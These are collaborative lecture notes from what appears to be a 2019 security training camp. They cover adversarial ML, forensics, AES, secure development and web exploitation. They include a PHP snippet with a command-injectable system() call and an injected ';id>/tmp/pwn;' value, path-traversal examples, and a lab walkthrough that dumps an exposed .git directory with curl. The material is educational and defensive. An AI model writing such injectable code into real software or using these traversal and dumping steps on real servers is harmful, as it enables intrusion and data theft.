- Is it A or B?
- ImageNet competition - machine preceding human
- 📰 [ImageNet: Where have we been? Where are we going?](https://image-net.org/challenges/talks_2017/imagenet_ilsvrc2017_v1.0.pdf)
- 🌐 [The data that transformed AI research - and possibly the world](https://qz.com/1034972/the-data-that-changed-the-direction-of-ai-research-and-possibily-the-world/)

* Learning a robust model is NOT easy
* We still don't fully understand how neural nets learn to predict
- calling for interpretable AI
* Training data could be noisy and biased
- calling for robust and fair AI
* Neural network architecture could be redundant and lead to vulnerable spots
- calling for efficient and secure AI model
* Need for human-like machine perception and understanding
- calling for bio-inspired AI model
* Attacks can also benefit and improve upon the progress in AI
- calling for attack-independent evaluation
* 📰 [Adversarial Examples Are Not Easily Detected: Bypassing Ten Detection Methods](https://arxiv.org/abs/1705.07263)

* Natural adversarial examples
* Misinterpretations can still happen out of nowhere from unmanipulated photos
* 📰 [Natural Adversarial Examples](https://arxiv.org/abs/1907.07174)

### Where do we go from here?

A defense is only robust when it is known to an adversary but still cannot break it (defender makes the first move and is transparent to an attacker)

1. Data augmentation with adversarial examples
- Helps but did not solve the problem
2. Conventional training to robust training
- Minimize model parameter loss (data, labels, model)
- Minimize model parameter; maximize attack loss (data, labels, model)
- Effective, but not scalable, significant drop in test accuracy
3. Input transformation, correction & anomaly detection
- Many are bypassed by advanced attacks
4. New learning model and training loss
- Slow progress
5. Model with diversity
- Model ensembles & model with randomness
6. Domain and task-specific defenses
- Case-by-case; not automated
7. Combination of all the effective methods
- System design

### Case Study

#### Audio Adversarial Examples

Our defense against audio adversarial attack...

- Leveraging temporal dependency (TD) in audio data to combat audio adversarial examples in automatic speech recognition systems

#### HRS Training: Hierarchical Random Switching

- A randomness-driven training method that achieves 5X better robustness-accuracy trade-off than SOTA

### Robustness

How do we evaluate adversarial robustness?

- 🧑 Game-based Approach
- Specify a set of players (attacks and defenses)
- Benchmark the performance against each attacker-defender pair
:::warning
The metric/rank can be exploited; no guarantee on unseen threats and future attacks.
:::
- 📜 Verification-based Approach
- Attack-independent: does not use attacks for evaluation
- Can provide a robustness certificate for safety-critical or reliability-sensitive applications
- e.g., no attacks can alter the decision of the AI model if the attack strength is limited
:::warning
Optimal verification is provably difficult for large neural nets - computationally impractical.
:::

#### CLEVER: A Tale of Two Approaches

:::info
More information available at [💻 CLEVER: A Robustness Metric For Deep Neural Networks (GitHub)](https://github.com/IBM/CLEVER-Robustness-Score).
:::

##### How CLEVER was used
- Before-After robustness comparison
- Will my model become more robust if I *do/use* **X**?

- Other use cases
- Characterize the behaviors and properties of adversarial examples
- Hyperparameter selection for adversarial attacks and defenses
- Reward-driven model robustness improvement

##### Examples of CLEVER
- CLEVER enables robustness comparison between ++different++
- Threat models
- Datasets
- Neural network architectures
- Defense mechanisms
- 🌐 [IBM - Fool the Bank!](http://bigcheck.mybluemix.net)

### Takeaways
<!-- takeaway is the correct term (originally Take-aways) -->
- Adversarial robustness is a new AI standard toward trustworthy ML
- Robustness does not come for free: adversarial examples exist in digital space, physical world, and different domains
- High accuracy $\neq$ Good robustness
- Arms race: adversary-aware AI vs. AI for adversary
- How to evaluate and improve model robustness?
- CLEVER: an attack-independent robustness score
- Efficient robustness certification tools
- Robustness comparison in before-after setting
- Provable, certifiable and scalable defenses

- **Human $\cap$ AI $\cap$ Data = Robustness**
<img style="background-color: transparent;" src="https://i.imgur.com/iOwmcJR.png">

### Topics for 3-day Projects
- Detection-evasive malware
- Adversarial robustness in other domains
- communication systems
- IoT
- manufacturing
- Robustness of black box machine learning systems
- Adversarial machine learning for good
- How do we justify the level of robustness (scoring)?
- How to evaluate model/class-level robustness instead of sample-level robustness?
- How does machine learning model tackle unseen samples?
- Make one invisible to ML applications
- Sky is the limit!

### Resources for AI Input Tampering

:::info
These resources are also linked above at the top of the topic.
:::

- CleverHans
- Adversarial Robustness Toolbox (ART)
- 🌐 [ART Demo](https://art-demo.mybluemix.net/)
- Foolbox

# Day 3 - 7/31 Wed.

## Forensics - Digital Forensics

### 👨‍🏫 Author Introduction
> todo: can't see this icon in dark mode

:::success
**Primary Author**
- 王歆綺
- Vice dean of Taiwan Institute for Information Industry
- Previously a security analyst @ Chunghwa Telecom

**Contact**

**Files**
General Files
- [IR Tools](http://file.inner.ais3.org/IR-Tools.zip)
- SIFT Workstation VM
- Forensics Sample

Additional References
- 🌐 [SIFT Workstation - SANS](https://digital-forensics.sans.org/community/downloads)
:::

### Why Forensics?

- If you know how to defence, you can attack

### How to Analyze?
- What to report
- Event
- Who
- When
- Where
- Target
- How

- Upon receiving a report
- IR(Incident Response)
- find if the file is actually a malware
- Incident Response Basic Steps
- Prep
- Identify type of incident
- Collect data and analyze
- Rescue & recovery
- Long-term recovery
- Continuous control
- Analysis Outline
- Memory analysis
- Timeline analysis
- Filesystem analysis
- Data recovery
- Identification
- Goals
- To identify whatever happened to the system
- Describe the state of the system
- Collect and preserve evidence
- e.g.
- How
- Use `dd` or `FTK` to dump the victim filesystem
- Use `file` to identify system-related information
- Collect actively written/read files (e.g. hibernation file)

### What anomalies to look for?

:::info
🖥 Use the right tools
PowerShell (often abbreviated as `posh`; `pwsh` for PowerShell Core) is an extremely important tool for IT admins, but also for digital forensic analysts. For those looking into Windows forensics, PowerShell is an absolute must, as it is often used for fileless attacks as well.
:::

- Windows
- Event log
- Related POSH cmdlet: `Get-EventLog`
- Related commands: `eventvwr`
- Processes*
- Related POSH cmdlet: `Get-Process`
- Software
- Process Hacker
- Automatically identifies type of application, thread details and more.
- Process Monitor
- Process Explorer
- WMI Queries
- POSH/PWSH cmdlets
- POSH: `Get-WmiObject`
- PWSH: `Get-CimInstance`
- Scheduled Tasks
- Usage timeline
- USB-based devices
- USBDeView
- Internet browser
- History
- Cache
- etc.
- Executable Analysis
- pestudio
- .NET Analysis
- RedGate .NET Reflector/JetBrains dotPeek/dnSpy/any .NET reflector
- de4dot
- Check various timestamps
- Access time
- Modified time
- Created time
- "Birth" time
- Registry*
- File activity*
- Network activity*
- TCPDump
- WireShark
- Fiddler
- Persistent Services
- Common autorun registry paths
- Daemon
- Memory analysis
- Rootkit's best place to hide
- 💻 [volatility.py (GitHub)](https://github.com/volatilityfoundation/volatility)

\* - Most important steps to take first

### Demo

#### Ransomware Sample Writeup (Unofficial)

- 📰 [Writeup 1](https://gist.github.com/Still34/48c5df23dd1e098082ee87d1a177e0b4) - Written by [@StillAzureH](https://twitter.com/StillAzureH)

<!-- Submit your own here -->

## Cryptograph and Cryptoanalysis - AES

### 👨‍🏫 Author Introduction

:::success
**Primary Author**
- Jiun-Peng Chen (陳君朋)
- Post-Doctoral Research Fellow with the Research Center for Information Technology Innovation, Academia Sinica, Taipei.

**Contact**
- [Email](mailto:[e-mail])

**Files**
General Files
- [Hardware Security Slides](http://file.inner.ais3.org/20190729_For_AIS3_JP_01_Hardware_Security.pdf)
- [Crypto and AES Slides](http://file.inner.ais3.org/20190729_For_AIS3_JP_02_Cryptography_and_AES.pdf)
- [SCA Slides](http://file.inner.ais3.org/20190729_For_AIS3_JP_03_SCA.pdf)
- [Rijndael cipher animation](http://file.inner.ais3.org/Rijndael_Anim.zip)
:::

### Overview of a Computing System

#### Classification of the Field of Cryptology

- Cryptology
- Cryptography
- Symmetric Ciphers
- Block Ciphers
- Stream Ciphers
- Asymmetric Ciphers
- Protocols
- Cryptanalysis

#### Brute-Force Attack (or Exhaustive Key Search) against Symmetric Ciphers

- There is **no mathematical proof of security** for any practical cipher.

- Key space of 128-bits might not be secure enough once quantum computer is invented.

#### Attack for Substitution / Shift Ciphers

1. Brute force keys
- There's only 26 possible keys for Caesar Cipher
2. Frequency analysis
- 

<!--
> If possible, please fix my poor grammar (if any)
> Pardon my poor English
> 👍
-->

### AES

#### Animated Explanation
{%youtube gP4PqVGudtg %}
> [Offline file available here](http://www.formaestudio.com/rijndaelinspector/archivos/Rijndael_Animation_v4_eng.zip)

#### AES Key Lengths + Rounds

| Key length (bits) | Rounds |
| :---: | :---: |
| 128 | 10 |
| 192 | 12 |
| 256 | 14 |

1. SubBytes
- S-BOX
- The only process in AES encryption that is not in linear time
2. ShiftRows
- Add randomness for next step
3. MixColumns
- The final round doesn't include this step
5. AddRoundKey
- XOR

### Side-Channel Attack

- Based on information gained from the physical implementation
- Timing information
- Power consumption
- Electromagnetic leaks
- Sound
- Defending against such attack
- Hiding
- Encrypt different parts on different machines
- Masking
- Add random bytes during encryption

# Day 4 - 8/1 Thurs.

## Secure Software Development and Engineering - An Overview of Secure Software Development Lifecycle

### 👨‍🏫 Author Introduction

:::success
**Primary Author**
- Ty Lee
- Head of Security Engineering @ Verzion Media/Dir, Software Dev Engineering
- Based in silicon valley and has worked for many bay area companies including SpectraPhysics, KLA Corp, Novell, Netscape, Sun Microsystems, Oracle, Yahoo, …, etc.

**Files**
- [Slides](https://docs.google.com/presentation/d/1-tWNrnyEgk3bn0xICnxuDIK4tTa-2duPqsOokY_3CZ4/edit)

:::

### InfoSec Organization Structure
> An example of a security organization

- Blue Team
- Product Security
- Enterprise Security
- Network Security
- Infrastructure Security
- Security Engineering
- GRC
- Governance
- Risk
- Compliance
- Red Team
- Offensive Security
- Security Engagement
- Training
- Security Engagement with Partners
- Cyber Defense
- Incident/threat Detection & Response
- Ecrime, Insider Threat

#### Software Development Lifecycle

- Analyzing Requirements
- Defining
- Designing
- Implementing
- Testing (& Verifying)
- Deploying (& Monitoring/Alerting)

##### How to Construct Software

- Conventional
- Scheduled
- Manual
- Long release time
- Preferred
- CI/CD
- Fully automated
- Fast iterations

##### Continuous Integration/Deployment

In CI/CD, committed code will be deployed automatically without human intervention, to production once all tests are passed. An abbreviated pipeline is as follows,

**Build stages**
- PR Build: Dev's code changes. All off trunk. No branch.
- Component Build: Post Merge
- Canary Build: Pilot Production Host

**PR Build**
PR -> CI/CD -> Unit tests -> Deploy to PR env

**Component Build**
Component build: post code merge to trunk
* Deployed to trunk env
* **[missing]**

**Canary**
- Staging deployment
- Run tests against production environment
- Deployed to pilot host
- Run real traffic in production
- Basic sanity check testing
- Production traffic testing
- Monitor error rate with pre-configured limit
- Alert if needed. Roll back if needed.

:::info
**Keep in mind...**
- You may need to support
- Multiple OS, versions, versions of firmware, etc.
- The keys are
- Run all tests against all environments that you must support
- Keep the build & release pipeline time as short as possible
- At different stages of the pipeline, test your own code, not your dependencies expect staging & pilot
- Remove all non reliabilities whenever possible.
:::

CI/CD in a nutshell:
- Code commit to production deployment
- No human intervention
- Complete automation
- Testing must be
- Comprehensive & Adequate
- Reentrant and Fast
- Incremental and fast iterations
- Immutable images, no more direct patching in production
- Must be treated as part of production
- Pipeline is broken -> No Production Release

##### Today's Devs

- Architecture & Design
- Coding
- Frontend, Backend, Firmware, etc.
- Testing
- Almost No Dedicated QA
- Test Driven Development is MUST
- Pipeline Building & Maintenance
- DevOps (Monitoring & Alerting)

### Security Review for Design

#### Security Controls

:::info
**CIA** stands for Confidentiality, Integrity, Availability.
:::

- Countermeasures to detect, minimize, counteract or avoid security risks
- Protect the CIA triad of information

#### Identify Threats

##### Threat Modeling

- Who are the attackers?
- What are the targets?
- How will the product be attacked?

##### Threat Modeling via STRIDE

- Spoofing
- The act of posing as someone else or faking an identity
- May require additional authentication methods to prevent this
- Tampering
- Malicious modification of data or processes
- e.g. modification of data causing unintended effects
- Repudiation
- Ability to deny an event or an action that has happened
- Information Disclosure
- Data leak or breach
- e.g. leak sensitive data in plaintext
- Denial of Service
- Cause a service or a network resource to be unavilable to its end users
- e.g. DDOS
- Elevation of Privileges
- Gain elevated access

#### Review ESIS Design

1. Identify scope
a. Component
b. Functionality
2. Review security overview & design
a. Review security controls
b. Review identified threats and attributes
c. Review countermeasure design

### Secure Coding

- What is Trust Boundary
- A boundary where program data or execution changes its level of "trust."
- Validation & Sanitization
- Canonicalization & Normalization
- Canonicalization
- Lossless reduction of the input to its equivalent simplest known form
- Normalization
- Lossy conversion of input data to the simplest known (and anticipated) form
- Sanitization
- Ensuring that data conforms to the requirements of the subsystem to which it is passed.
- e.g., html encoding, removing control characters
- Ensuring that data conforms to security-related requirements
- e.g., removing personal information from log
- By means of removing, replacing, encoding, or escaping
- Validation
- Ensuring data falls within the expected domain
- e.g., Is Int? Is String?
- e.g., 0 <= x <= 100
- e.g., One of [“standard”, “enterprise”]

:::info
**Is order important?**
What happens if we do validation *then* canonicalization?
e.g.

            An input of "/img/" + "../etc/passwd" is given
            -> Validate whether begins with "/img/"
            -> Canonicalize
            -> "/img/../etc/passwd" -> "etc/passwd"

See: [Zipperdown Vulnerability](https://zipperdown.org/)
:::
- Confidential Information
- Purge sensitive information from exceptions
:::danger
Exception may contain sensitive information.
e.g. file name in FileNotFoundException (file system path is disclosed!)
- One should not include stack trace in HTTP response
:::
- Never log highly sensitive information
- Sanitize sensitive data in the log
- Purge sensitive data after use
- e.g. secret key, credit card information
- These information may appear in core dumps, debugging, and confidentiality attacks
- In C, zero the memory before calling free()
- In Java,
- Oracle's GuardedString
- Encrypted with random key
- Call `dispose()` to zero the memory
- Use char[], and zero it by yourself.
- Persistent stroage for sensitive data
- User password
- Only store hash + salt
- See more in [OWASP Password Storage Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)
- Database password, private key, etc..
- Use HSM (Hardware Secutiy Module)
- Use SoftHSM
- Use an external key management service (e.g. AWS KMS)
- Credit card
- Follow requirement of [Payment Card Industry Data Securty Standard]
- Serialization & Deserialization
- Deserialization of untrusted data is inherently dangerous and should be avoided
- View deserialization the same as object construction
- Guard sensitive data during serialization
- Mitigation
- Don't deserlize from untrusted source
- Don't use Jackson's default typing functionality
- Only deserliaze to classes with minimal logic (POJO)
- Write your custom TypeResolverBuilder
- Use @JsonSubTypes to restrict the subtypes

#### Code Review

- Why?
- Avoid breaking logic
- Make others know what's being changed
- How?
- Write tests first
- Always create PR for changes
- Never push to master
- Require approvals before merge
- e.g. 2 approvals
- Automatically run unit test, function test, check style, etc.
- Write tests before implementation

### Vulnerability Scanning

- What is vulnerability scanning?
- Why do we need scanning?
- Static application security testing (SAST)
- Dynamic application security testing (DAST)
- How to integrate into developing

#### What is Vulnerability Scanning

- Like any anti-virus scanner, vulnerabilty scanning scans for vulnerabilties.

#### Why do We Need Scanning?

- Programmers do not strictly follow secure coding guidelines
- Programmers intentionally check for vulnerable code
- More defense we add, more secure our system is outside

#### Static Application Security Testing (SAST)

Static analysis is performed in a non-runtime environment. Typically a static analysis tool will inspect program code for possible runtime behaviors and seek out coding flaws, backdoors, and potentially malicious code.

Examples include: Flawfinder, SpotBugs, Veracode, Checkmarx

##### Pattern Matching

Hardcoded credentials
e.g.

String DB_ADDRESS = "localhost:1234";
String DB_USERNAME = "testuser";
String DB_PASSWORD = "123456";
Connection con = DB.getConnection(DB_ADDRESS, DB_USERNAME, DB_PASSWORD);

##### False Positives

SAST might pick up false positives:

String DB_PASSWORD_PATH = "password.txt";

##### Pros & Cons

- Pros
- High coverage
- Give early feedback
- e.g. integrated into IDE or GitHub PR
- Cons
- High false positive rate
- Language dependent

#### Dynamic Application Security Testing (DAST)

Dynamic analysis adopts the opposite approach and is executed while a program is **in operation**. A dynamic test will monitor system memory and whatnot.

Examples: OWASP Zed Attack Proxy (ZAP), Burp Suite, Arachni

##### False Positive

- SQLi
- Which status code should be returned?
- `200`, `404`, `500`?
- If `200` is returned, scanner might recognize it as a SQL Injection vulnerability.

##### Pros & Cons

- Pros
- Language independent
- Cons
- Special input data is required
- Low coverage

### Security of Third-party Software

What happens if the third-party library you use (or copy) is compromised?

- `event-stream` on NPM
- azure-cli
- ps-tree
- copay
- One of the worst victims on the list
- {%youtube 2cyib2MgvdM%}
- CVE-2019-13354

#### Conclusion

:::danger
Basically, don't be a dumbass and think twice before installing another dependency.
:::

- Manage your dependencies
- [lockfile, checksum](https://yarnpkg.com/blog/2016/11/24/lockfiles-for-all/)
- Dependency check
- Compare packages in lockfile with a vulnerability database
- Scan your dependencies
- Patch management
- Patch management on the pipeline
- Timing is everything
- Patching _web pages_ - Immediately
- Patch _thousands of servers_ - Probably not manually
- Patch _millions of mobile devices_ - Pray for the best lol

### Security Review for Implementation

- Why?
- Activities
- Follow-ups from previous activities
- Source code review/scan (manual/automation/hybrid)
- Scanning
- Ensure the list of repo is complete and setting is correct
- Manual review
- Different angles
- e.g., input validation, secure coding guidelines, OWASP Top 10, compliance requirements, language specfiic, etc.
- Forms of review/walkthrough
- Dynamic application scan or test
- Ensure the entry points list is complete
- e.g., admin tool, different levels of access
- Authentication issue
- Third-party review
- Dependency, integration protocol, outsourcing, service provider
- Configuration review
- Checklist

#### An Example of Review Findings

Issues discovered within the [Verizon Media Identity Service] repo:
- XSS at profile page
- Issue
- Golang supports a template language
- Package "html/template"
- Parse html ***[missing]***
- Package "text/template"
- Solution
- Input sanitization
- Do escape/encoding based on the context
- HTTPONLY Cookie
- Content Security Policy
- Content-Security-Polict: default-src 'self' ; script-src 'self'
- Hard-coded secret
- Issue
- DB password is hardcoded in MyBatis config
- Could be discovered in code review
- Solution
- Using 3rd party KMS (e.g. AWS KMS, Hashi-Corp Vault)
- Using HSM or SoftHSM
- Logging sensitive info
- Could be discovered during code review
- Account information is logged in the backend
- Unexpired session
- Issue
- Missing expiration time
- Solution
- When verifying, JWT will verify the expiration time
- Insufficient check for update
- Not blocking brute force password trial
- Weak password hash
- Issues
- MD5 is fast, but vulnerable to brute-force attack
- Short password can even be looked up with rainbow table
- OWASP suggests Argon2
- Must use with salt
- and more...

#### Security Issue Follow-up

- Ticketing
- Convention
- e.g. naming or labeling
- For tracking and auditing
- SLA
- By severity
- CVSSv3 scoring
- Other approach
- e.g. S0 - 1 day, S1 - 5 day ...
- Launch blocker
- Exceptions
- Follow up with PM/engineering team
- Verification and close
- code diff
- scan
- package
- Bug scrub
- Additional pairs of eyes
- [Bug bounty](https://hackerone.com/verizonmedia)

#### Pentesting

- Steps
- Reconnaissance
- Scanning and enumeration
- Exploitation (gaining access)
- Post-exploitation (e.g. maintaining access)
- Covering tracks
- Pentesting vs. Vulnerability Assessment
- Pentesting can usually discover more than what a scanner can
- Pentesting vs. CTF
- Designed to be attacked
- In the real-world, most vulnerabilties and loopholes are usually unintended, and will overall give a completely different vibe

## IoT and AI Security - Automatic Binary Analysis

### 👨‍🏫 Author Introduction

:::success
**Primary Author**
- Chung-Kuan Chen (陳仲寬/Bletchley)
- Senior Security Researcher, Cycarrier Technology
- CHROOT member
- Reviewer of HITCON, HITB
- Discovered several vulns in Synology/QNap
- Field
- Network A&D
- ML
- Software vulnerability
- Malware and program analysis

**Contact**

**Files**
Tools
- [Keystone](http://www.keystone-engine.org/)
- [Capstone](http://www.capstone-engine.org/)
- [Unicorn](https://www.unicorn-engine.org/)

Materials
- [Slides & Misc. Files](https://drive.google.com/drive/folders/1CB_4z5KTWoMO50lDOoNOZUSHxOf_BWGI)
- [Mirror](https://www.dropbox.com/sh/r5mkzfag2r4pcnk/AABy8ysF1XJhxGlQ77dPQ8ZUa?dl=0)

Additional References
- [Shell-storm Shellcode Database](http://shell-storm.org/shellcode/)
:::

### Keystone

- Pros
- Cross platform
- Automatic shell code mutation with API
- Build shellcode for other platforms
- Applications
- Generate shellcode
- Malware mutation
- Binary patch
- KeyPatch

#### Keystone Demo

> The ultimate assembler

Input

from keystone import *

# separate assembly instructions by ; or \n
CODE = b"INC ecx; DEC edx"

try:
	# Initialize engine in X86-32bit mode
	ks = Ks(KS_ARCH_X86, KS_MODE_32)
	encoding, count = ks.asm(CODE)
	print("%s = %s (number of statements: %u)" %(CODE, encoding, count))
except KsError as e:
	print("ERROR: %s" %e)

Output

b'INC ecx; DEC edx' = [65, 74] (number of statements: 2)

### Capstone

> The ultimate disassembler

- Similar to many disassembler tools
- IDA, Ghidra, Radare, etc.
- This tool is not suitable for manual analysis compared to others
- API binding to other platform
- Programmable/automatable
- Pros
- Cross platform
- Usable API

#### Capstone Demo

Input

from capstone import *
CODE = b"\x55\x48\x8b\x05\xb8\x13\x00\x00"

md = Cs(CS_ARCH_X86, CS_MODE_64)

for i in md.disasm(CODE, 0x1000):
    print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))

Output

0x1000:	push	rbp
0x1001:	mov	rax, qword ptr [rip + 0x13b8]

### Unicorn

> The ultimate CPU emulator

Emulates CPU execution, including instruction semantic, registry context, and more.

- Applications
- Emulate shellcode
- Dynamic analysis
- Partially executing malware

#### Unicorn Demo

Input

from __future__ import print_function
from unicorn import *
from unicorn.x86_const import *
# code to be emulated
X86_CODE32 = b"\x41\x4a" # INC ecx; DEC edx
# memory address where emulation starts
ADDRESS = 0x1000000
print("Emulate i386 code")
try:
	# Initialize emulator in X86-32bit mode
	mu = Uc(UC_ARCH_X86, UC_MODE_32)
	# map 2MB memory for this emulation
	mu.mem_map(ADDRESS, 2 * 1024 * 1024)
	# write machine code to be emulated to memory
	mu.mem_write(ADDRESS, X86_CODE32)
	# initialize machine registers
	mu.reg_write(UC_X86_REG_ECX, 0x1234)
	mu.reg_write(UC_X86_REG_EDX, 0x7890)
	# emulate code in infinite time & unlimited instructions
	mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32))
	# now print out some registers
	print("Emulation done. Below is the CPU context")
	r_ecx = mu.reg_read(UC_X86_REG_ECX)
	r_edx = mu.reg_read(UC_X86_REG_EDX)
	print(">>> ECX = 0x%x" %r_ecx)
	print(">>> EDX = 0x%x" %r_edx)
except UcError as e:
	print("ERROR: %s" % e)

Output

Emulate i386 code
Emulation done. Below is the CPU context
>>> ECX = 0x1235
>>> EDX = 0x788f

# Day 5 - 8/2 Fri.

## Secure Software Development and Engineering - Product Security in Practice

### 👨‍🏫 Author Introduction

:::success
**Primary Author**
- Ken Lee
- Former Product Developer
- Chief Security Officer
- Head of Synology Inc. Security Team

**Contact**

**Files**

:::

### Synology PSIRT

#### Scale of Synology Inc.

- Over 6M servers up and running
- Running 57M apps
- Managing 870K connections to Synology
- Securing tens of EB of data and peace of mind

#### What is PSIRT?

The Synology Product Security Incident Response Team (PSIRT) is dedicated to managing the receipt, investigation, coordination and public reporting of security vulnerability information related to Synology products.

#### The Phantom Menance (2013)

- Started working in 2013/01
- No developers responded to vulnerabilties
- Lacked a sense of cybersecurity
- High-profile CVEs were notified by customers

#### Attack of the Clones (2014-Q1-2)

- Heartbleed struck
- Helped IT team patch services
- Immature security advisories

#### Revenge of the Sith (2014-Q3-4)

- Severely affected by Synolocker
<!-- Need confirmation for above -->
- Built a working group for security
- Deployed security mitigations to DSM 5

#### A New Hope (2015)

- Approved cybersecurity act for DSM 6.0
- Rebuilt core DSM infrastructure
- Created a build farm for security releases

#### The Empire Strikes Back (2016)

- Built vulnerability response program
- Built invitation-only bounty program
- Reported critical flows of Photo Station
- Disclosed vulnerabilties w/o confirmation

#### Return of the Jedi (2017)

- Authorized as the CNA
- Built incident response program
- Announced security bug bounty program
- Built product security assurance program

#### The Force Awakens (2018)

- Built PSIRT
- Authorized as a member of [FIRST](https://www.first.org/)
- Actively join international communities

### Bounty Program

:::info
*Did you know?*
- Synology Inc. thanked 42 hackers in 2018
- Paid $46,590 bounties
- $4,520 for Web Services
- 52% reports are for Web Services?
:::

- Inspired by the Vulnerability Response Tutorial from CERT/CC
- Why?
- To engage with hacker communities
- 950+ Synology proprietary repos
- 50M+ lines of proprietary sources
- No resource to build a Red Team (yet)
- Lessons learned
- Never trust inputs without sanitization
- Read The F- Manual before committing patches
- Security-by-design & security-by-default are required
- Security is as important as UX
- Supply-chain security
- Complies with ISO-29147/30111
- Knowledge internalization from hacker conferences
- Intra-orgranizational collaboration
- Red Team for pentesting

### Strategy

> - Incident-driven
> - Top-down (pre-planned, vision-driven)
> - Bottom-up (structured)
> - Toss-a-softball-in-the-bushel-basket
>
> \- [CISO COMPASS: Navigating Cybersecurity Leadership Challenges with Insights from Pioneers](https://www.amazon.com/CISO-COMPASS-Navigating-Cybersecurity-Leadership/dp/1498740448) by Todd Fitzgerald
>

- No silver bullet

### PSIRT's Day

- Vulnerability review
- Incident response
- Severity rating
- Code review

#### What is vulnerability?

A set of conditions that allows an attacker to violate an explicity or implicit security policy; it can be software defects or misconfiguration.

#### CVE
- Uniquely identify vulnerabilities
- Get stakeholders on the same page
- Report template
- [CWE] in [CPE] allows attackers to have an impact via [CAPEC]
- [VULNTYPE] in [COMPONENT] in [VENDOR] [PRODUCT] [VERSION] allows [ATTACKER] to [IMPACT] via [VECTOR]

#### Incident/Vulnerability Response

- The activity of responding to a vulnerability reported to your organization's product or service
- Part of the larger ecosystem of product security
- **NOT** vulnerability management

#### CVSS v3 Base Metrics

[CVSS v3.0: Specification Document](https://www.first.org/cvss/v3.0/specification-document)

- Example: `CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L`
- Attack Vector (AV)
- Network (N)
- Adjacent (A)
- Local (L)
- Physical (P\)
- Attack Complexity (AC)
- Low (L)
- High (H)
- Privileges Required (PR)
- None (N)
- Low (L)
- High (H)
- User Interaction (UI)
- None (N)
- Required (R\)
- Scope (S)
- Unchanged (U)
- Changed (C\)
- Confidentiality (C\)
- None (N)
- Low (L)
- High (H)
- Integrity (I)
- None (N)
- Low (L)
- High (H)
- Availability (A)
- None (N)
- Low (L)
- High (H)

| Rating | CVSS Score |
| -------- | ---------- |
| Critical | 9.0 - 10.0 |
| High | 7.0 - 8.9 |
| Medium | 4.0 - 6.9 |
| Low | 0.1 - 3.9 |
| None | 0.0 |

#### Synology's Rating
- Critical
- Important
- Moderate
- Low

### Code Review

:::success
✅ **Commit message is important!**
Writing a good commit message goes a long way, especially when you share your legacy work with new colleagues.

- Good commit message references
- [How to Write a Git Commit Message](https://chris.beams.io/posts/git-commit/)
- [Commit message guidelines](https://gist.github.com/robertpainsi/b632364184e70900af4ab688decf6f53)
- [How to write a good commit message](https://blog.indrek.io/articles/how-to-write-a-good-commit-message/)
:::

- Ensure code quality and maintainability
- Share knowledge and make everyone better
- Find defects or trivial logic errors

#### OWASP Top 10 in Synology's view

- Injection
- XSS
- Insecure Direct Object References
- Missing Function Level Access Control
- Server-Side Request Forgery (SSRF)

<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
    $ip = $_SERVER['REMOTE_ADDR'];
}

// $ip = ";id>/tmp/pwn;"
$commend = "/usr/syno/bin/synoautoblock --reset\"".$ip."\"";
@system($commend, $retval);

## Vulnerability-Web Without RCE: what can you do?

### 👨‍🏫 Author Introduction

:::success
**Primary Author**
- Ryo Ichikawa
- Founder and Captain of TokyoWesterns CTF team
- CTFTime Ranking 5th
- Expertises in web, forensics

**Contact**
- [Twitter](https://twitter.com/icchy)
**Files**
- [Lab](http://westerns.tokyo/icchy/ais3/dist.tar.gz)
- [Slide](https://bit.ly/335mi9p)
- [Mirror](https://www.dropbox.com/s/0v7lcnm5upfqg2k/Without%20RCE_%20what%20can%20you%20do_.pptx?dl=0)
- [Q&A Session](https://slides.app.goo.gl/Esa9G)
- https://westerns.tokyo/icchy/ais3/mpam-fe.exe
:::

- Basic thoughts about web security
- Techniques learned in labs
- Q&A session on Google Docs

### Introduction

- Learning security is understanding the attacker's mindset
- You need to know how to exploit the system
- Do as attacker would when you want to secure the system
- Web is just human-friendly interface
- Connects everything
- Memory corruption
- Crypto
- Reverse engineering
- Do not hesitate studying other components
- Understanding everything is really hard
- Learn step-by-step
- Google will help you
- Don't hesitate to look up things that you don't understand
- Where do vulns come from?
- Insufficient checking of untrusted input
- Every exploitation is triggered by user input
- Vulenrability on specific software
- Bunch of open-source libraries are used
- What is the goal of web exploitation?
- RCE > Infoleak > DoS
- Infoleak
- The first of exploit
- Can be chained to RCE

- Some of these exploits listed below from previous CTF solvings can be found in the lab distro file listed above:
- Unintedned file disclosure
- Path traversal
- XSS
- AvOracle (recently devised)

### Unintended File Disclosure

- Misconfiugration in web server
- Indexing
- Software dependent files
- VCS-related files
- Cache files for editors
- Some sensitive data includes...
- Hidden files/paths
- Source code of application
- Directory index
- Apache: `Options +Indexes`
- Nginx: `autoindex on;`
- Software specific files
- Editor
- vim: `*.swp`
- IntelliJ IDEA: `~/IdeaProjects`
- Version control system
- Git: `.git`
- Subversion: `.svn`
- Cache file
- Python `*.pyc`\(py2\) , `__pycache__`\(py3\)
- How to find these files?
- Search tool for specific path
- Use additional software
- Vim
- `.index.php.swp`
- `vim index.php`
- Git
- `git http-fetch -a [commit id] [URL to .git]`

#### Lab Demo

- http://lab1.ais3.westerns.tokyo/index.htm
- Solution
- Access `/` to reveal filesg
- Fetch objects from `git_backup`

    curl http://lab1.ais3.westerns.tokyo/git_backup/
    curl http://lab1.ais3.westerns.tokyo/git_backup/HEAD
    curl http://lab1.ais3.westerns.tokyo/git_backup/refs/heads/master
    # 53eb21e4b8098bdf094374983b5a35b7213383e0
    git init
    git http-fetch -a  53eb21e4b8098bdf094374983b5a35b7213383e0 http://lab1.ais3.westerns.tokyo/git_backup/
    ls -la
    git checkout 53eb21e4b8098bdf094374983b5a35b7213383e0
    ls -lat

    cat .htaccess
    cat todo.md
    git log
    git log -p

- How to patch?
- Forbid access to .git

        <Directorymatch "^/.*/\.git/">
            Order deny, allow
            Deny from all  
        </Directorymatch>

- Do **NOT** place `.git` files on webserver directory

### Path traversal

- Use untrusted and unsanitized input to build path
- Result in local file leakage
- Source code
- Configs
- User secrets

- Sometimes seen in nginx configs
- [Burp extension](https://github.com/bayotop/off-by-slash)
- OrangeTW mentioned this issue numerous times across various conferences
- Off by slash on alias directive
- Matched part is replaced
- Sensitive file disclosure
- Configs
- Secrets

# nginx.conf
location /static {
  alias /app/static/;
}


http://app/static../setting.py

/static../settings.py
↓
